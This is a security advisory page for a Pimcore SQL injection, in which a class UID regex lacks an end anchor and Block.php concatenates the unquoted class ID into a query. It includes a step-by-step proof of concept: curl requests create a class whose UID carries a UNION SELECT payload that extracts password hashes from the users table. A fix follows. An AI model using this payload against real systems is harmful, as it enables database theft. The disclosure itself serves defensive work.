High

Pimcore: ClassDefinition UID regex missing end anchor allows SQL injection via Block.php unquoted table name

  • Disclosed: 13.08.2026
  • Updated: 11.10.2026 10:22

Summary

A missing end anchor ($) in the ClassDefinition UID validation regex allows an authenticated user with the objects permission to create a class with a malicious UID containing SQL. When a data object of that class is later loaded, Block.php concatenates the raw classId directly into a SQL query without quoting, executing the injected payload. This is an incomplete fix from commit dbe1d131e4 which added a leading ^ anchor but omitted the trailing $.

Details

1. Missing end anchor in ClassDefinition UID validation

models/DataObject/ClassDefinition.php lines 1148-1154:

php
if (!preg_match('/^[a-zA-Z]\w+/', $this->getName())) {
    throw new Exception(sprintf('Invalid name for class definition: %s', $this->getName()));
}

if (!preg_match('/^[a-zA-Z0-9]([a-zA-Z0-9_]+)?/', $this->getId())) {
    throw new Exception(sprintf('Invalid ID `%s` for class definition %s', $this->getId(), $this->getName()));
}

Both patterns are missing a trailing $ anchor. Without it, preg_match only checks that the string STARTS with a valid identifier — it does not assert end-of-string. A UID of 1 UNION SELECT password FROM users-- passes because the regex matches 1 at the start and ignores the rest.

Compare with the correct pattern used by Fieldcollection in models/DataObject/Fieldcollection/Definition.php line 268:

php
if (!preg_match('/^[a-zA-Z]\w*$/', $key)) {   // has $ — correct
    return true;
}

3. Unquoted classId concatenation in Block.php

models/DataObject/ClassDefinition/Data/Block.php line 735:

php
$query = 'select ' . $db->quoteIdentifier($field) . ' from object_store_' . $object->getClassId() . ' where oo_id  = ' . $object->getId();

$object->getClassId() returns the raw stored classId with no quoting. This same unquoted pattern repeats on lines 744, 746, 748, 759, and 771 for objectbrick, fieldcollection, and localized field contexts.

Compare with models/DataObject/ClassDefinition/Dao.php line 108-113 which correctly wraps the table name:

php
$objectDatastoreTable = 'object_store_' . $this->model->getId();
$qObjectDatastoreTable = $this->db->quoteIdentifier($objectDatastoreTable);

Dao.php was hardened in commit dbe1d131e4 but Block.php was not.

PoC

Prerequisites:

  • Pimcore 2026.1.x with Studio API enabled
  • A user lowpriv with only the objects permission

Step 1 — Authenticate as lowpriv and save the session cookie:

bash
curl -s -c /tmp/cookies.txt -X POST \
  "https://your-pimcore/pimcore-studio/api/login" \
  -H "Content-Type: application/json" \
  -d '{"username":"lowpriv","password":"password"}'

Expected response:

js
{"message": "Login successful"}

Step 2 — Create a ClassDefinition with a malicious UID:

bash
curl -s -b /tmp/cookies.txt -X POST \
  "https://your-pimcore/pimcore-studio/api/class/definition/configuration-view/detail/create" \
  -H "Content-Type: application/json" \
  -d '{"name":"PocClass","uid":"1 UNION SELECT password,NULL FROM users-- "}'

Expected response: class definition created successfully. The UID passes the broken regex because preg_match('/^[a-zA-Z0-9 ([a-zA-Z0-9_]+)?/', '1 UNION SELECT...') matches 1 at the start and returns true. No exception is thrown.

The bypass can be verified independently in any PHP sandbox:

php
var_dump(preg_match('/^[a-zA-Z0-9]([a-zA-Z0-9_]+)?/', '1 UNION SELECT password FROM users-- '));
// int(1) — PASSES, no exception thrown

var_dump(preg_match('/^[a-zA-Z0-9]([a-zA-Z0-9_]+)?$/', '1 UNION SELECT password FROM users-- '));
// int(0) — BLOCKED, correct behavior with $ anchor

Step 3 — Add a Block field to the malicious class (via the class editor UI or API)

In the Pimcore Studio UI, open PocClass, add a field of type Block, name it myblock, and save the class.

Step 4 — Create a data object of the malicious class:

bash
curl -s -b /tmp/cookies.txt -X POST \
  "https://your-pimcore/pimcore-studio/api/data-objects" \
  -H "Content-Type: application/json" \
  -d '{"className":"PocClass","parentId":1,"key":"poc-object"}'

Note the returned object ID (e.g. 42).

Step 5 — Fetch the data object to trigger Block.php:735:

bash
curl -s -b /tmp/cookies.txt \
  "https://your-pimcore/pimcore-studio/api/data-objects/42"

When the object loads, Block::load() executes:

sql
SELECT `myblock` FROM object_store_1 UNION SELECT password,NULL FROM users--
WHERE oo_id = 42

The -- comment discards the WHERE clause. MySQL executes the UNION and returns password hashes from the users table in the Block field value of the response.

Expected response (vulnerable):

The myblock field value in the response contains rows from the users table including password hashes.

Expected response (patched):

Step 2 fails with a validation exception — the UID is rejected before the class is created.

Recommended fix:

Add trailing $ anchors to both regex patterns in ClassDefinition.php:

php
// Before (vulnerable)
if (!preg_match('/^[a-zA-Z]\w+/', $this->getName())) {
if (!preg_match('/^[a-zA-Z0-9]([a-zA-Z0-9_]+)?/', $this->getId())) {

// After (correct)
if (!preg_match('/^[a-zA-Z]\w+$/', $this->getName())) {
if (!preg_match('/^[a-zA-Z0-9]([a-zA-Z0-9_]+)?$/', $this->getId())) {

Additionally, wrap $object->getClassId() in $db->quoteIdentifier() in Block.php lines 735, 744, 746, 748, 759, and 771, consistent with how Dao.php handles the same value.

Impact

An authenticated user with the objects permission can inject arbitrary SQL that executes when any data object of the malicious class is loaded. This allows exfiltration of any table in the Pimcore database, including the users table containing password hashes, using a UNION-based injection. The objects permission is a standard editor-level permission, not an admin privilege.

Affected software

Click a technology to see all vulnerabilities affecting it.

PlatformPackageVulnerable versionsFixed in
Composer package pimcore/pimcore >= 2026.1.0, < 2026.1.5, < 12.3.9 2026.1.5, 12.3.9

References

CVSS score 8.5/10
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N
Weakness (CWE)
CWE-20, CWE-89
Platform
Composer
Package
pimcore/pimcore
Disclosed
13.08.2026
Updated
11.10.2026 10:22

Sources and licenses

OSV / GitHub Advisory Database - GHSA-2mhj-fhvg-v428 - CC BY 4.0

Vulnerability history: pimcore/pimcore

All published vulnerabilities of this package (Composer package), newest first. Shows whether this is a one-off slip or a package that needs watching.

All (135) in the archive
Total entries
135
First → latest
12.2019 09.2026
Without a fix
3
Exploited in attacks
0

Severity breakdown

  • Critical 5
  • High 40
  • Medium 90

Disclosures per year

  1. 2019: 1
  2. 2020: 0
  3. 2021: 11
  4. 2022: 43
  5. 2023: 59
  6. 2024: 3
  7. 2025: 2
  8. 2026: 16
Severity:
  1. High · 8.8 CVE-2026-55416 >= 2026.1.0, < 2026.1.6, >= 12.0.0-RC1, < 12.3.10, < 11.5.19 2026.1.6, 12.3.10, 11.5.19
  2. Critical · 9.9 CVE-2026-55634 < 12.3.10, >= 2026.1.0, < 2026.1.6 12.3.10, 2026.1.6
  3. Pimcore: ClassDefinition UID regex missing end anchor allows SQL injection via Block.php unquoted table name this entry
    High · 8.5 CVE-2026-55072 >= 2026.1.0, < 2026.1.5, < 12.3.9 2026.1.5, 12.3.9
  4. High · 7.2 CVE-2026-11407 >= 12.0.0-RC1, <= 12.3.8, <= 11.5.14.1 no fix
  5. High CVE-2026-5394 >= 12.0.0-RC1, < 12.3.7, < 11.5.17, >= 2026.1.0, < 2026.1.3 12.3.7, 11.5.17, 2026.1.3
  6. High CVE-2026-45704 >= 12.0.0-RC1, < 12.3.6, < 11.5.17, >= 2026.1.0, < 2026.1.2 12.3.6, 11.5.17, 2026.1.2
  7. High · 8.1 CVE-2026-45260 >= 12.0.0-RC1, < 12.3.7, >= 2026.1.0, < 2026.1.3, < 11.5.17 12.3.7, 2026.1.3, 11.5.17
  8. High · 8.0 CVE-2026-45162 >= 12.0.0-RC1, < 12.3.7, < 11.5.17, >= 2026.1.0, < 2026.1.3 12.3.7, 11.5.17, 2026.1.3
  9. High · 8.7 CVE-2026-44739 >= 2026.1.0, < 2026.1.2, < 11.5.17, >= 12.0.0-RC1, < 12.3.6 2026.1.2, 11.5.17, 12.3.6
  10. High · 8.6 CVE-2026-23493 >= 12.0.0-RC1, < 12.3.1, < 11.5.14 12.3.1, 11.5.14
  11. High · 8.8 CVE-2026-23492 >= 12.0.0-RC1, < 12.3.1, < 11.5.14 12.3.1, 11.5.14
  12. High · 8.1 CVE-2024-11954 >= 11.4.2, < 11.5.3 11.5.3
  13. High · 8.8 ghsa-hq76-662x-7mw4 >= 10.6.9.0, < 10.6.9.12, >= 11.1.0.0, < 11.1.6.11 10.6.9.12, 11.1.6.11
  14. High · 7.5 CVE-2024-32871 >= 11.0.0, < 11.2.4 11.2.4
  15. High · 7.2 CVE-2023-3820 < 10.6.4 10.6.4
  16. High · 7.2 CVE-2023-3673 < 10.5.24 10.5.24
  17. High · 8.8 CVE-2023-2338 < 10.5.21 10.5.21
  18. High · 8.8 CVE-2023-30850 < 10.5.21 10.5.21
  19. High · 8.8 CVE-2023-30849 < 10.5.21 10.5.21
  20. High · 8.8 CVE-2023-30848 < 10.5.21 10.5.21
  21. High · 8.8 CVE-2023-25240 < 10.5.16 10.5.16
  22. Critical · 9.8 CVE-2022-39365 < 10.5.9 10.5.9
  23. Critical · 9.8 CVE-2019-18985 < 6.2.2 6.2.2
  24. Critical · 9.8 CVE-2019-18981 < 6.2.2 6.2.2
  25. High · 7.5 CVE-2019-18986 < 6.2.2 6.2.2
  26. High · 8.8 CVE-2019-16317 < 5.7.1 5.7.1
  27. High · 8.8 CVE-2019-16318 < 5.7.1 5.7.1
  28. High CVE-2014-2921 >= 1.4.9, < 2.2.0 2.2.0
  29. High · 8.8 CVE-2018-14057 < 5.3.0 5.3.0
  30. High · 8.8 CVE-2019-10867 < 5.7.1 5.7.1
  31. High · 7.5 CVE-2022-1429 < 10.3.6 10.3.6
  32. High · 7.5 CVE-2022-1339 < 10.3.5 10.3.5
  33. High · 7.5 CVE-2022-1219 < 10.3.5 10.3.5
  34. High · 8.3 CVE-2022-0258 < 10.2.9 10.2.9
  35. High · 7.8 CVE-2022-0263 < 10.2.7 10.2.7
  36. High · 8.0 CVE-2021-39166 < 10.1.2 10.1.2
  37. High · 8.0 CVE-2021-39170 < 10.1.2 10.1.2
  38. High · 8.8 CVE-2021-23405 < 10.0.7 10.0.7
  39. High · 7.2 CVE-2020-7759 >= 6.7.2, < 6.8.3 6.8.3
  40. High · 7.1 CVE-2021-23340 < 6.8.8 6.8.8

Know which vulnerabilities affect your application

With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.

Connect your application
DockRay newsletter

Application security in your inbox

Important vulnerabilities, actionable guidance and practical advice for your applications. Choose your technologies and follow what matters to your project.

  • A daily digest of new vulnerabilities, critical ones included.
  • Notifications about important updates.
  • Practical advice on application security and monitoring.

Leave empty to receive updates for every technology.

Free to subscribe. Unsubscribe with one click in any email.